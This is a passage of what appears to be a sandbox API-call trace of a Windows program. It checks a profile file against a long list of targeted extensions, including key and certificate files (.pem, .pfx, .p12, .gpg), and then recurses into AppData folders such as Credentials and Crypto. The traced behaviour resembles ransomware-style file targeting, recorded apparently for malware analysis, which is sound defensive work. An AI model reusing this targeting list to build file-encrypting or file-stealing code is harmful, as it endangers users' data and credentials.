PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.gz") returned 0 [0087.919] lstrlenA (lpString="*.gz") returned 4 [0087.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.mkv") returned 0 [0087.919] lstrlenA (lpString="*.mkv") returned 5 [0087.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.eml") returned 0 [0087.919] lstrlenA (lpString="*.eml") returned 5 [0087.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.msg") returned 0 [0087.920] lstrlenA (lpString="*.msg") returned 5 [0087.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.edb") returned 0 [0087.920] lstrlenA (lpString="*.edb") returned 5 [0087.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.accdb") returned 0 [0087.920] lstrlenA (lpString="*.accdb") returned 7 [0087.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.odb") returned 0 [0087.920] lstrlenA (lpString="*.odb") returned 5 [0087.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.java") returned 0 [0087.920] lstrlenA (lpString="*.java") returned 6 [0087.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.asm") returned 0 [0087.920] lstrlenA (lpString="*.asm") returned 5 [0087.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.pfx") returned 0 [0087.920] lstrlenA (lpString="*.pfx") returned 5 [0087.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.pem") returned 0 [0087.920] lstrlenA (lpString="*.pem") returned 5 [0087.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.p12") returned 0 [0087.920] lstrlenA (lpString="*.p12") returned 5 [0087.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.gpg") returned 0 [0087.920] lstrlenA (lpString="*.gpg") returned 5 [0087.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.vsd") returned 0 [0087.921] lstrlenA (lpString="*.vsd") returned 5 [0087.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.odg") returned 0 [0087.921] lstrlenA (lpString="*.odg") returned 5 [0087.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.raw") returned 0 [0087.921] lstrlenA (lpString="*.raw") returned 5 [0087.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.nef") returned 0 [0087.921] lstrlenA (lpString="*.nef") returned 5 [0087.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.svg") returned 0 [0087.921] lstrlenA (lpString="*.svg") returned 5 [0087.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.psd") returned 0 [0087.921] lstrlenA (lpString="*.psd") returned 5 [0087.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.vmx") returned 0 [0087.921] lstrlenA (lpString="*.vmx") returned 5 [0087.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.vmdk") returned 0 [0087.921] lstrlenA (lpString="*.vmdk") returned 6 [0087.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.vdi") returned 0 [0087.921] lstrlenA (lpString="*.vdi") returned 5 [0087.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.lay6") returned 0 [0087.921] lstrlenA (lpString="*.lay6") returned 6 [0087.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.mpeg") returned 0 [0087.922] lstrlenA (lpString="*.mpeg") returned 6 [0087.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.djvu") returned 0 [0087.922] lstrlenA (lpString="*.djvu") returned 6 [0087.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.tiff") returned 0 [0087.922] lstrlenA (lpString="*.tiff") returned 6 [0087.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.backup") returned 0 [0087.922] lstrlenA (lpString="*.backup") returned 8 [0087.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.pdf") returned 0 [0087.922] lstrlenA (lpString="*.pdf") returned 5 [0087.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.cert") returned 0 [0087.922] lstrlenA (lpString="*.cert") returned 6 [0087.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.docm") returned 0 [0087.922] lstrlenA (lpString="*.docm") returned 6 [0087.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.xlsm") returned 0 [0087.922] lstrlenA (lpString="*.xlsm") returned 6 [0087.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.dwg") returned 0 [0087.922] lstrlenA (lpString="*.dwg") returned 5 [0087.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.nd") returned 0 [0087.923] lstrlenA (lpString="*.nd") returned 4 [0087.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.tlg") returned 0 [0087.923] lstrlenA (lpString="*.tlg") returned 5 [0087.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.lgb") returned 0 [0087.923] lstrlenA (lpString="*.lgb") returned 5 [0087.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.mov") returned 0 [0087.923] lstrlenA (lpString="*.mov") returned 5 [0087.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.xdw") returned 0 [0087.923] lstrlenA (lpString="*.xdw") returned 5 [0087.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.ods") returned 0 [0087.923] lstrlenA (lpString="*.ods") returned 5 [0087.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.wav") returned 0 [0087.923] lstrlenA (lpString="*.wav") returned 5 [0087.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.mp3") returned 0 [0087.923] lstrlenA (lpString="*.mp3") returned 5 [0087.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.aiff") returned 0 [0087.923] lstrlenA (lpString="*.aiff") returned 6 [0087.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.flac") returned 0 [0087.923] lstrlenA (lpString="*.flac") returned 6 [0087.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.m4a") returned 0 [0087.924] lstrlenA (lpString="*.m4a") returned 5 [0087.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", pszSpec="*.csv") returned 0 [0087.924] lstrlenA (lpString="*.csv") returned 5 [0087.924] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0087.924] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0087.924] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 0 [0087.924] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0087.924] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0087.924] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.924] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0087.925] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.925] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530023, dwReserved1=0x610068, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0087.925] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.925] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0087.925] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0087.925] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004d, dwReserved1=0x720063, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0087.925] lstrcmpA (lpString1=".", lpString2="Microsoft") returned -1 [0087.925] lstrcmpA (lpString1="..", lpString2="Microsoft") returned -1 [0087.925] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*.*") returned="*.*" [0087.925] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft" [0087.925] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned 55 [0087.925] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0046, dwReserved1=0x730061, cFileName=".", cAlternateFileName="")) returned 0x502618 [0087.926] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.926] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x730000, cFileName="..", cAlternateFileName="")) returned 1 [0087.926] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.926] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.926] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0087.926] lstrcmpA (lpString1=".", lpString2="AddIns") returned -1 [0087.926] lstrcmpA (lpString1="..", lpString2="AddIns") returned -1 [0087.926] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0087.926] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="AddIns" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns" [0087.926] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns") returned 62 [0087.926] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006d, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.929] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.929] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.929] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.929] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.929] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x7c36290, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x7c36290, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.929] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.929] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x640041, dwReserved1=0x490064, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0087.930] lstrcmpA (lpString1=".", lpString2="Credentials") returned -1 [0087.930] lstrcmpA (lpString1="..", lpString2="Credentials") returned -1 [0087.930] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0087.930] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Credentials" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials" [0087.930] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials") returned 67 [0087.930] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.930] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.930] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.930] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.930] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.930] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.930] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.931] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720043, dwReserved1=0x640065, cFileName="Crypto", cAlternateFileName="")) returned 1 [0087.931] lstrcmpA (lpString1=".", lpString2="Crypto") returned -1 [0087.931] lstrcmpA (lpString1="..", lpString2="Crypto") returned -1 [0087.931] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0087.931] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Crypto" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto" [0087.931] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto") returned 62 [0087.931] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.932] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.932] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, 